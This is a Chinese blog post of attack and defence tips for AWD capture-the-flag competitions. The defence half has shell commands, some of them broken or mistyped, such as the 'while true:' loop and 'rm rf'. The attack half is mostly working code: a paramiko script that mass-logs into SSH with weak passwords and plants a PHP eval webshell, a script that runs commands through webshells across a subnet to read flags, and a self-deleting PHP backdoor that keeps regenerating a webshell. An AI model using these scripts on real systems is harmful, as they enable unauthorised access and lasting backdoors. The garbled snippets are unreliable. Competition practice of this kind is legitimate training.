AWD攻防技巧

AWD攻防技巧

基本防守策略

1.改用户密码和服务器密码

1.改linux用户密码

passwd

如果有权限就删除用户:

userdel -R 用户名
2.改mysql密码:
update mysql.user set password=password("密码")where user='root';

删除匿名用户

delete from mysql.user where user='';

刷新配置

flush privileges

3.改网站后台密码

从网站页面或者源码用御剑找到后台页面,尝试弱口令登入后改管理员密码

2.web防护

1.将目录打包成tar文件

tar -cvf 打包后的文件.tar 要打包的文件名

2.用ssh或者ftp 将打包的文件拉到本机

scp 用户名@IP地址:要下载的文件路径 存放路径
scp root@192.168.18.6:/root/flag.txt /root/

ftp用法

ftp ip地址

get IP地址

或者用ftp软件登入

3.将压缩包解压放进D盾扫描木马文件

3.关闭shell连接进程

1.查看真正连接的进程

who

2.关闭连接进程

pkill -kill -t pts/进程号

4.网站守护

1.查看新增加文件,删除

find ./ -cmin -30

2.删除不死码

vim killshell.sh

chmod 777 killshell.sh
nohub ./killshell.sh &

#/bin/bash
while true:
	do
		rm rf xxx.php
	done

3.发现网站页面有漏洞

echo >xxx.ph

PS:平台root用户可能是弱口令或者存在提取。

直接

rm -rf /bin/curl

基本攻击策略

1.弱口令攻击

批量用户登入修改密码并写入webshell且修改活动flag值

《ssh.py》

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import paramiko

for i in [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]:
    try:
        host = f"192.168.{i}.100"  # 假设 IP 格式为 192.168.x.100
        s = paramiko.SSHClient()
        s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        s.connect(hostname=host, port=22, username='user1', password='123456')

        # 修改密码
        stdin, stdout, stderr = s.exec_command('passwd')
        stdin.write("123456\nPass@123.com\nPass@123.com\n")
        stdin.flush()

        # 上传 WebShell
        stdin, stdout, stderr = s.exec_command("echo '<?php eval($_POST[cmd]); ?>' > /var/www/html/.zack.php")

        # 访问远程 URL
        stdin, stdout, stderr = s.exec_command("curl http://192.168.245.250/getkey")
        print(host + ' ' + stdout.read().decode('utf-8'))

    except Exception as e:
        print(f"连接失败: {host} - {e}")

2.批量调用webshell获取flag

用D盾扫描自己的网站木马,根据木马写脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import urllib3

# 忽略HTTPS警告(如为http可省略)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# webshell路径与密码
webshell_url_template = "http://192.168.1.{}/uploads/shell.php"
password = "abc123"

# 要执行的命令(读取flag)
command = "cat /tmp/flag.txt"

# 内网IP范围
for i in range(1, 255):
    target_ip = f"192.168.1.{i}"
    url = webshell_url_template.format(i)
    try:
        # 构造webshell请求
        params = {
            password: f'system("{command}");'
        }
        resp = requests.get(url, params=params, timeout=3, verify=False)
        if resp.status_code == 200 and "flag" in resp.text:
            print(f"[+] {target_ip} - Flag: {resp.text.strip()}")
        else:
            print(f"[-] {target_ip} - 无响应或无flag")
    except Exception as e:
        print(f"[!] {target_ip} - 请求失败: {e}")

3.不死码种植

将不死码上传网站目录,访问不死码后在当前目录生成zack.php后门webshell

<?php
set_time_limit(0);           // 无限执行时间
ignore_user_abort(true);     // 客户端断开后仍继续执行

@unlink(__FILE__);           // 删除自身文件,隐藏痕迹

while (true) {
    $content = '<?php @eval($_POST["zack"]); ?>';
    file_put_contents('zack.php', $content);  // 不断生成后门文件
    usleep(500000);           // 暂停 0.5 秒
}
?>
posted @ 2025-09-29 23:42  Godjian  阅读(13)  评论(0)    收藏  举报